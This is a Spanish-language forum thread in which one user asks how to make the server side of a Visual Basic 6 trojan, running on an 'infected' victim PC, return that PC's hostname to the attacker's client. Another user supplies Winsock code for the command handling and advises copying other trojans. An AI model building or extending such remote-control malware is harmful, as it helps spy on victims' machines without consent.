Dudilla ::)

[astaroth_15]

Solo es para completar algo más...

Buenas, podria ser que el server mandara el contenido de command1_click al cliente?


Osea que yo clico en el cliente y me mande lo que pone en command_click

Mi idea es...

Que al hacer click en el boton command


Me de el nombre de su PC y lo ponga en  un label1


Podria ser chicos? espero respuesta

[~~]

A ver, q no te e entendido bien.. q es lo q kieres q haga el troyano?? q tu en el cliente (el q tienes tu en tu pc) le des a un boton y el ordenador "victima" te mande su nombre? (es decir el nombre del Pc infectado?) o q es lo q kieres hacer? explicate un poco mejor por q no se entiende xD

Salu3

[astaroth_15]

cuando yo haga click en un command quiero saber la informacion de su pc entiendes? el codigo es este, pero remotalmente no se como es..

Código [Seleccionar] Expandir

Dim Nombre As String * 257
Dim WSAD As WSAData
WSAStartup &H101, WSAD
gethostname Nombre, 257
Nombre1.Caption = Nombre

[~~]

Ok, ya te entendi 

Mira tienes q hacer lo siguiente:
Desde el cliente (el q esta en tu pc) pones un boton q se llame nombre del pc por ejemplo y en su evento click haces q el winsokc envie la palabra "name" por ejemplo, seria algo asi:

Código [Seleccionar] Expandir

ws.senddata "name

Ahora en tu servidor (el q esta en el pc infectado) donde recibes los datos del ws tienes q hacer un select case con los datos recibidos y en el case "name pones esto:

Código [Seleccionar] Expandir

case "name":

Dim Nombre As String * 257
Dim WSAD As WSAData
WSAStartup &H101, WSAD
gethostname Nombre, 257
ws.senddata Nombre


Así lo q recibas en tu cliente será el nombre del pc remoto q puedes mostrar en un msgbox, un label o como tu veas

Si tienes mas dudas pregunta, o pega un poco de tu code y te digo donde ponerlo exactamente

Saludos

PD - Seria interesante q te miraras ejemplillos de troyanos e imites el uso q le dan a la funcion split en la llegada de datos

[astaroth_15]

Con perdón...

Podrias explicarmelo un poco mas sencillito? jeje no me aclaro

[astaroth_15]

cliente

boton command

Private Sub NombrePC_Click()
Ws.SendData "Nombre"
End Sub
------

SERVER

Private Sub WS_DataArrival(ByVal bytesTotal As Long)
On Error GoTo error
Dim Nombre As String * 257
Ws.SendData Nombre1.Caption
End Sub
----------

Cliente


Private Sub WS_DataArrival(ByVal bytesTotal As Long)
Dim Nombre As String
Ws.GetData Nombre
Nombre = Label12.Caption
End Sub


Aqui tienes amigo, podrias echarme una mano?

[~~]

Podias usar las etiketas de code.... 

CLIENTE

Código (vb) [Seleccionar] Expandir

Private Sub NombrePC_Click()
Ws.SendData "name|" & Nombre ' Nombre es una variable string q contiene el nombre del pc
End Sub

SERVER

Código (vb) [Seleccionar] Expandir

Private Sub WS_DataArrival(ByVal bytesTotal As Long)
dim datos as string
dim sDatos as string
ws.getdata datos
sdatos = split(datos, "|")

if sdatos(0) = "name" then
msgbox "El nombre del pc remoto es: " & sdatos(1)
end if
End Sub

Seria algo asi, si no entiendes el funcionamiento del split chekeate algune ejemplo q hay muchos por el foro.. ademas veo fallos muy elementales, deberias seguir estudiando..

Salu3